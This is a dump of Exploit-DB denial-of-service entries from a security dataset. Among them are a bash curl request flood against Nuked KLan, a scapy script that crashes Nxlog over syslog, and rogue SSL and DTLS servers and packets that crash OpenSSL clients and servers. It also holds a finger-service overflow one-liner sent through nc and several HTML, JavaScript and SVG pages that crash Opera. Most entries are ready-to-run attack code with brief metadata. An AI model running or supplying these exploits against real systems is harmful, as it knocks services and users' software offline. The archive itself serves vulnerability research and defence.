deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47257
Description: NSKeyedUnarchiver - Info Leak in Decoding SGBigUTF8String
Type: dos
Platform: multiple
Date: 2019-08-15
Author: Google Security Research

Exploit:
There is an info leak when decoding the SGBigUTF8String class using [SGBigUTF8String initWithCoder:]. This class initializes the string using [SGBigUTF8String initWithUTF8DataNullTerminated:] even though there is no guarantee the bytes provided to the decoder are null terminated. It should use [SGBigUTF8String initWithUTF8Data:] instead.

While this class is included in iMessage, it is more likely that this bug could be useful in local attacks.

To reproduce this issue:

1) Compile decodeleak.m

clang -o decodeleak -g decodeleak.m -fobjc-arc -framework CoreSuggestionsInternals -F/System/Library/PrivateFrameworks

2) Run:

./decodeleaks obj

leaked memory will be printed to the screen.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47257.zip
Exploit-DB #11106
Description: Nuked KLan 1.7.7 & SP4 - Denial of Service
Type: dos
Platform: multiple
Date: 2010-01-11
Author: Hamza 'MIzoZ' N

Exploit:
#!/bin/bash
# Nuked KLan <= 1.7.7 & <= SP4 DOS
# Copyright 2009 ; Hamza 'MizoZ' N. <mizozx[at]gmail[dot]com>
#
# Needs : cURL
# This is a DOS issue for Nuked Klan <= 1.7.7 & <= SP4 ,
# it uses multiple requests on the search page .
#
# Tested on Windows Sv 2008 & Gentoo 8.1

show() {
  echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  echo "Nuked KLan <= 1.7.7 & <= SP4 DOS"
  echo "Author : Hamza 'MIzoZ' N. < mizozx[at]gmail[dot]com"
  echo "Usage  : sh $0 -h [HOST] -r 1000"
  echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  echo ""
}

while [[ $# != 0 ]]; do
    arg_name=$1; shift
    case "$arg_name" in
      -h) host=$1; shift;;
      -r) requests=$1; shift;;
      *) echo "invalid option: $1"; show;exit 1;;
    esac
done

[ -z "$host" ] && { show; exit 1; }
for random in `seq 1 $requests`; do
curl -A Firefox -o --url "$host/index.php?file=Search&op=mod_search&main=site" > /dev/null 2>&1 &
sleep 0.001;
echo "~~";
done
Exploit-DB #23181
Description: NullLogic Null HTTPd 0.5 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2003-09-24
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/8697/info

Null HTTPd has been reported prone to a remotely triggered denial of service vulnerability.

The issue has been reported to present itself in the HTTP POST handling routines within the Null HTTPd server. It has been reported that a remote attacker may make a malicious HTTP POST request, specifying a 'Content-Length' value in the HTTP header and then sending data that amounts to 1 byte less that the specified Content-Length. This will reportedly leave each connection on the server in an open state. An attacker can exploit this condition to trigger a denial of service of the affected server. 

POST / HTTP/1.0
Content-Length: 10

123456789
Exploit-DB #49283
Description: Nxlog Community Edition 2.10.2150 - DoS (Poc)
Type: dos
Platform: multiple
Date: 2020-12-17
Author: Guillaume PETIT

Exploit:
# Exploit Title: Nxlog Community Edition 2.10.2150 - DoS (Poc)
# Date: 15/12/2020
# Exploit Author: Guillaume PETIT
# Vendor Homepage: https://nxlog.co
# Software Link: https://nxlog.co/products/nxlog-community-edition/download
# Version: 2.10.2150
# Tested on: Linux Debian 10 && Windows Server 2019
# CVE: CVE-2020-35488

#!/usr/bin/python3

import sys
import time
import argparse
from scapy.all import *

def getPayload(args):
        # IF UNIX
        if (args.OS == 1):
                return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
        # IF WINDOWS
        elif (args.OS == 2):
                return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"

        # Test
        elif (args.OS == 3):
                return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"

def runExploit(args,payload):
        priority = 30
        message = payload
        syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
        send(syslog,verbose=args.DEBUG)

def getArguments():
        parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
        parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
        parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
        parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
        parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
        return parser.parse_args()

def main():
        args = getArguments()
        payload = getPayload(args)
        runExploit(args,payload)
main()
Exploit-DB #10077
Description: OpenLDAP 2.3.39 - MODRDN Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-11-09
Author: Ralf Haferkamp

Exploit:
Attackers use readily available LDAP commands to exploit this issue.



source: https://www.securityfocus.com/bid/27778/info

OpenLDAP is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to deny service to legitimate users.

OpenLDAP 2.3.39 is vulnerable to this issue; other versions may also be affected.

This issue is related to one described in BID 26245 (OpenLDAP Multiple Remote Denial of Service Vulnerabilities), identified by CVE-2007-6698.

ldapmodrdn -x -h :389 -D <dn> -w <pw> -e \noop ou=test,dc=my-domain,dc=com ou=test2
Exploit-DB #4773
Description: OpenSSL < 0.9.7l/0.9.8d - SSLv2 Client Crash
Type: dos
Platform: multiple
Date: 2007-12-23
Author: Noam Rathaus

Exploit:
#!/usr/bin/perl
# Copyright(c) Beyond Security
# Written by Noam Rathaus - based on beSTORM's SSL Server module
# Exploits vulnerability CVE-2006-4343 - where the SSL client can be crashed by special SSL serverhello response

use strict;
use IO::Socket;
my $sock = new IO::Socket::INET ( LocalPort => '443', Proto => 'tcp', Listen => 1, Reuse => 1, );
die "Could not create socket: $!\n" unless $sock;
 
my $TIMEOUT = 0.5;
my $line;
my $new_sock;
srand(time());

while ( $new_sock = $sock->accept() )
{
 printf ("new connection\n");
 my $rin;
 my $line;
 my ($nfound, $timeleft) = select($rin, undef, undef, $TIMEOUT) && recv($new_sock, $line, 1024, undef);

 my $ciphers = "";
 my $ciphers_length = pack('n', length($ciphers));

 my $certificate = "";
 my $certificate_length = pack('n', length($certificate));

 my $packet_sslv2 =
"\x04".
"\x01". # Hit (default 0x01)

"\x00". # No certificate

"\x00\x02".
$certificate_length.
$ciphers_length.
"\x00\x10".
# Certificate
$certificate.
# Done
# Ciphers
$ciphers.
# Done
"\xf5\x61\x1b\xc4\x0b\x34\x1b\x11\x3c\x52\xe9\x93\xd1\xfa\x29\xe9";

 my $ssl_length = pack('n', length($packet_sslv2) + 0x8000);
 $packet_sslv2 = $ssl_length . $packet_sslv2;

 print $new_sock $packet_sslv2;

 close($new_sock);
}

# milw0rm.com [2007-12-23]
Exploit-DB #8873
Description: OpenSSL < 0.9.8i - DTLS ChangeCipherSpec Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-06-04
Author: Jon Oberheide

Exploit:
/*
 * cve-2009-1386.c
 *
 * OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1386
 *
 *   OpenSSL would SegFault if the DTLS server receives a ChangeCipherSpec as
 *   the first record instead of ClientHello.
 *
 * Usage:
 *
 *   Pass the host and port of the target DTLS server:
 *
 *   $ gcc cve-2009-1386.c -o cve-2009-1386
 *   $ ./cve-2009-1386 1.2.3.4 666
 *
 * Notes:
 *
 *   Much easier than the memory exhaustion DoS issue (CVE-2009-1378) as this 
 *   only requires a single ChangeCipherSpec datagram, but affects an older 
 *   version of OpenSSL.
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>

int
main(int argc, char **argv)
{
	int sock, ret;
	char *ptr, *err;
	struct hostent *h;
	struct sockaddr_in target;
	char buf[64];

	if (argc < 3) {
		err = "Pass the host and port of the target DTLS server";
		printf("[-] Error: %s\n", err);
		exit(1);
	}

	h = gethostbyname(argv[1]);
	if (!h) {
		err = "Unknown host specified";
		printf("[-] Error: %s (%s)\n", err, strerror(errno));
		exit(1);
	}

	target.sin_family = h->h_addrtype;
	memcpy(&target.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
	target.sin_port = htons(atoi(argv[2]));

	sock = socket(AF_INET, SOCK_DGRAM, 0);
	if (sock == -1) {
		err = "Failed creating UDP socket";
		printf("[-] Error: %s (%s)\n", err, strerror(errno));
		exit(1);
	}

	ret = connect(sock, (struct sockaddr *) &target, sizeof(target));
	if (ret == -1) {
		err = "Failed to connect socket";
		printf("[-] Error: %s (%s)\n", err, strerror(errno));
		exit(1);
	}

	memcpy(buf, "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01", 14);

	printf("[+] Sending DTLS datagram of death at %s:%s...\n", argv[1], argv[2]);

	send(sock, buf, 14, 0);

	close(sock);

	return 0;
}

// milw0rm.com [2009-06-04]
Exploit-DB #28726
Description: OpenSSL SSLv2 - Null Pointer Dereference Client Denial of Service
Type: dos
Platform: multiple
Date: 2006-09-28
Author: Noam Rathaus

Exploit:
source: https://www.securityfocus.com/bid/20246/info

OpenSSL is prone to a denial-of-service vulnerability.

A malicious server could cause a vulnerable client application to crash, effectively denying service.

#!/usr/bin/perl
# Copyright(c) Beyond Security
# Written by Noam Rathaus - based on beSTORM's SSL Server module
# Exploits vulnerability CVE-2006-4343 - where the SSL client can be crashed by special SSL serverhello response

use strict;
use IO::Socket;
my $sock = new IO::Socket::INET ( LocalPort => '443', Proto => 'tcp', Listen => 1, Reuse => 1, );
die "Could not create socket: $!\n" unless $sock;
 
my $TIMEOUT = 0.5;
my $line;
my $new_sock;
srand(time());

while ( $new_sock = $sock->accept() )
{
 printf ("new connection\n");
 my $rin;
 my $line;
 my ($nfound, $timeleft) = select($rin, undef, undef, $TIMEOUT) && recv($new_sock, $line, 1024, undef);

 my $ciphers = "";
 my $ciphers_length = pack('n', length($ciphers));

 my $certificate = "";
 my $certificate_length = pack('n', length($certificate));

 my $packet_sslv2 =
"\x04".
"\x01". # Hit (default 0x01)

"\x00". # No certificate

"\x00\x02".
$certificate_length.
$ciphers_length.
"\x00\x10".
# Certificate
$certificate.
# Done
# Ciphers
$ciphers.
# Done
"\xf5\x61\x1b\xc4\x0b\x34\x1b\x11\x3c\x52\xe9\x93\xd1\xfa\x29\xe9";

 my $ssl_length = pack('n', length($packet_sslv2) + 0x8000);
 $packet_sslv2 = $ssl_length . $packet_sslv2;

 print $new_sock $packet_sslv2;

 close($new_sock);
}
Exploit-DB #1709
Description: OpenTTD 0.4.7 - Multiple Vulnerabilities
Type: dos
Platform: multiple
Date: 2006-04-23
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  OpenTTD
              http://www.openttd.org
Versions:     <= 0.4.7
Platforms:    Windows, *nix, *BSD, Mac and others
Bugs:         A] program termination through big error number
              B] broadcast clients disconnection in multiplayer menu
Exploitation: A] remote, versus server and client (in-game)
              B] remote, versus clients (broadcast)
Date:         23 Apr 2006
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    http://aluigi.altervista.org


#######################################################################

Backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1709.zip (04232006-openttdx.zip)
Exploit-DB #32193
Description: OpenVms 8.3 Finger Service - Stack Buffer Overflow
Type: dos
Platform: multiple
Date: 2008-08-07
Author: Shaun Colley

Exploit:
source: https://www.securityfocus.com/bid/30589/info

The finger service ('fingerd') on OpenVMS is prone to a stack-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input.

Attackers can exploit this issue to execute arbitrary code in the context of the affected application. Failed attempts will likely cause denial-of-service conditions.

We were not told which versions are affected. We will update this BID as more information emerges.

echo `perl -e 'print "a"x1000'` | nc -v victim.example.com 79
Exploit-DB #10870
Description: Opera 10.10 - Status Bar Obfuscation
Type: dos
Platform: multiple
Date: 2009-12-31
Author: 599eme Man

Exploit:
<!-- 

Opera 10.10 Status Bar Obfuscation
Author : 599eme Man
Contact : flouf@live.fr

-->
<center><h1>Opera 10.10 Status Bar Obfuscation</h1>
<br>
<strong>Author : 599eme Man.<br >
Contact : flouf@live.fr</strong><br >
_______________________________________________________________________
<br>
<br>
<br>

Click on google (look the Status bar) and you'll be redirect on Yahoo<br><strong><h1><a onclick="javascript:OB();" href="http://www.Google.com">http://www.Google.com</a></h1></strong></center>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
                           <font style="font-family:arial;font-size:32px">Look Here<br>
                   | <br>
                  V

<script>

function OB() {

document.write('');
document.location='http://yahoo.com';

}

</script>
Exploit-DB #15273
Description: Opera 10.63 - SVG Animation Element Denial of Service
Type: dos
Platform: multiple
Date: 2010-10-17
Author: fla

Exploit:
# Exploit Title: Opera Denial of Service by SVG <animation> Element
# Date: 16, October 2010
# Author:  fla
# Software Link: http://www.opera.com/
# Version: 10.63 and previous
# Tested on: Ubuntu 10.10 x64, Windows 7 x64

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" >
<g id="animTest" ></g> 
<animation xlink:href="#animTest" />
</svg>
Exploit-DB #22536
Description: Opera 7.10 - Permanent Denial of Service
Type: dos
Platform: multiple
Date: 2003-04-24
Author: David F. Madrid

Exploit:
source: https://www.securityfocus.com/bid/7430/info

Allegedly, a vulnerability exists in Opera 7.10 that may result in a denial of service. The problem reportedly occurs when processing a 'news:' URL of excessive length. It has been reported that this issue will trigger a condition that will prevent Opera from functioning until the program has been reinstalled. 

news:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Exploit-DB #23263
Description: Opera 7.11/7.20 HREF - Malformed Server Name Heap Corruption
Type: dos
Platform: multiple
Date: 2003-10-20
Author: @stake

Exploit:
source: https://www.securityfocus.com/bid/8853/info

A vulnerability has been discovered in the Opera web browser that could lead to remote code execution. The problem is said to trigger when handling malformed HTML HREF values and may result in a buffer overrun occuring within heap memory. As a result of this issue, an attacker may be capable of executing arbitrary code on a victim user by coaxing them to a malicious web site, or possibly by transmitting a malicious HTML e-mail message to an Opera mail client. 

<a href="file://server%%[many % characters]%%text" ></a>
Exploit-DB #1254
Description: Opera 8.02 - Remote Denial of Service (1)
Type: dos
Platform: multiple
Date: 2005-10-16
Author: posidron

Exploit:
<!--

Vulnerable: Opera 8.02 and below
      Date: 19.05.2005
Discovered: posidron@tripbit.net

-->

<html><head></head><body><bdo>A<bgsound style="margin:-99;">A<hr>A<hr></body></html>

# milw0rm.com [2005-10-16]
Exploit-DB #2179
Description: Opera 9 - IRC Client Remote Denial of Service
Type: dos
Platform: multiple
Date: 2006-08-13
Author: Preddy

Exploit:
/* 
 * Opera 9 IRC client DOS exploit
 * by Preddy and NNP
 *
 * http://www.smashthestack.org
 * http://silenthack.co.uk
 * http://www.team-rootshell.com
 *
 * 12 August 2006
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

#define MYPORT 6667    

#define BACKLOG 10     

// : KICK\r\n

char die[] = {
    0x3a, 0x20, 0x4b, 0x49, 0x43, 0x4b, 0x0d, 0x0a, 0x00 };

void sigchld_handler(int s)
{
    while(waitpid(-1, NULL, WNOHANG) > 0);
}

int main(void)
{
    int sockfd, new_fd;  
    struct sockaddr_in my_addr;    
    struct sockaddr_in their_addr; 
    socklen_t sin_size;
    struct sigaction sa;
    int yes=1;

    if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket");
        exit(1);
    }

    if (setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1) {
        perror("setsockopt");
        exit(1);
    }
    
    my_addr.sin_family = AF_INET;         
    my_addr.sin_port = htons(MYPORT);
    my_addr.sin_addr.s_addr = INADDR_ANY; 
    memset(&(my_addr.sin_zero), '\0', 8);

    if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))
                                                                   == -1) {
        perror("bind");
        exit(1);
    }

    if (listen(sockfd, BACKLOG) == -1) {
        perror("listen");
        exit(1);
    }

    sa.sa_handler = sigchld_handler; // reap all dead processes
    sigemptyset(&sa.sa_mask);
    sa.sa_flags = SA_RESTART;
    if (sigaction(SIGCHLD, &sa, NULL) == -1) {
        perror("sigaction");
        exit(1);
    }

    while(1) {  // main accept() loop
        sin_size = sizeof(struct sockaddr_in);
        if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr,
                                                       &sin_size)) == -1) {
            perror("accept");
            continue;
        }
        printf("server: got connection from %s\n",
                                           inet_ntoa(their_addr.sin_addr));
        if (!fork()) { // this is the child process
	    int sentBytes = 0;
            close(sockfd); // child doesn't need the listener
            if ((sentBytes = send(new_fd, die, sizeof(die), 0)) == -1)
                perror("send");
	    printf("sent %d bytes\n", sentBytes);
	    sentBytes = 0;
            close(new_fd);
            exit(0);
        }
        close(new_fd);  // parent doesn't need this
    }

    return 0;
} 

// milw0rm.com [2006-08-13]
Exploit-DB #8320
Description: Opera 9.64 - 7400 nested elements XML Parsing Remote Crash
Type: dos
Platform: multiple
Date: 2009-03-30
Author: Ahmed Obied

Exploit:
#
#   Author : Ahmed Obied (ahmed.obied@gmail.com)
#
#   - Similar to the bug found by Wojciech Pawlikowski for Firefox 
#     -> http://www.milw0rm.com/exploits/8306
#
#   - Tested using the latest version of Opera (9.64)
#
#   Usage  : python opera.py [port]
#    

import sys, socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class RequestHandler(BaseHTTPRequestHandler):
        
    def get_exploit(self):
        exploit = '<A>' * 7400
        exploit = '<xml>' + exploit + '</xml>'
        return exploit
            
    def log_request(self, *args, **kwargs):
        pass

    def do_GET(self):
        if self.path == '/':
            print
            print '[-] Incoming connection from %s' % self.client_address[0]
            print '[-] Sending header to %s ...' % self.client_address[0]
            self.send_response(200)
            self.send_header('Content-type', 'text/xml')
            self.end_headers()
            print '[-] Header sent to %s' % self.client_address[0]
            print '[-] Sending exploit to %s ...' % self.client_address[0]
            self.wfile.write(self.get_exploit())
            print '[-] Exploit sent to %s' % self.client_address[0]

def main():
    if len(sys.argv) != 2:
        print 'Usage: %s [port]' % sys.argv[0]
        sys.exit(1)
    try:
        port = int(sys.argv[1])
        if port < 1 or port > 65535:
            raise ValueError
        try:
            serv = HTTPServer(('', port), RequestHandler)
            ip = socket.gethostbyname(socket.gethostname())
            print '[-] Web server is running at http://%s:%d/' % (ip, port)
            try:
                serv.serve_forever()
            except KeyboardInterrupt:
                print '[-] Exiting ...' 
        except socket.error:
            print '[*] ERROR: a socket error has occurred ...'
        sys.exit(-1)    
    except ValueError:
        print '[*] ERROR: invalid port number ...'
        sys.exit(-1)
            
if __name__ == '__main__':
    main()

# milw0rm.com [2009-03-30]
Exploit-DB #35856
Description: Opera Web Browser 11.11 - Denial of Service
Type: dos
Platform: multiple
Date: 2011-06-14
Author: echo

Exploit:
source: https://www.securityfocus.com/bid/48262/info

The Opera Web Browser is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

Opera Web Browser 11.11 is vulnerable; other versions may also be affected. 

<html>
  <body>
   <iframe src=&#039;about:blank&#039; id=&#039;bo0om&#039; style="width:0px;height:0px;border:0px none;"></iframe>
   <script type="text/javascript"  language="javascript">
   
    /*
    *              
    * Opera 11.11 Remote  Crash
    * Software link: http://www.opera.com/download/
    * Tested on: Win32 xp home sp 3   
    * CVE : null
    *        
    * Im too lazy to deep analyze this ,but i thing is just unexploitable crash
    * so f****jixvt
    *      ( dla klechis�awa i jego kosiarki :i )
    *   
    */               
   
      var a = window.document.getElementById(&#039;bo0om&#039;);
      var b = a.contentDocument.createElement(&#039;font&#039;);
      a.src=&#039;about:blank&#039;;
      setTimeout(&#039;b.face = "h3h";&#039;,500);
       
   </script>
  </body>
</html>
Exploit-DB #24394
Description: Opera Web Browser 7.23 - JavaScript Denial of Service
Type: dos
Platform: multiple
Date: 2004-08-21
Author: sourvivor

Exploit:
source: https://www.securityfocus.com/bid/10997/info

Opera Web Browser is reported prone to a JavaScript denial-of-service vulnerability.

This vulnerability presents itself when Opera attempts to execute a specific JavaScript command. When executing this command, Opera will reportedly crash.

This issue affects Opera 7.23 for Microsoft Windows; other versions are also likely affected. 

<scr1pt>
document.getElementsByTagName("script")[0].text = "";
</scr1pt>
Exploit-DB #28277
Description: Opera Web Browser 9 - CSS Background URI Memory Corruption
Type: dos
Platform: multiple
Date: 2006-07-25
Author: hdm

Exploit:
source: https://www.securityfocus.com/bid/19166/info

Opera Web Browser is prone to a memory-corruption vulnerability.

A remote attacker may trigger this issue by enticing a user to visit a malicious website.

This issue has been reported in Opera 9. Other versions may be vulnerable as well.

This BID has been retired because the vendor reported that this issue is a duplicate of BID 18585 (Opera Malicious HTML Processing Denial of Service Vulnerability).

function Demo() {
	var a = document.createElement('a');
	var b = 'XXXX';
	while (b.length <= 1024*1024) b+=b;
	a.style.background = 'url(https://' + b + ')';
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>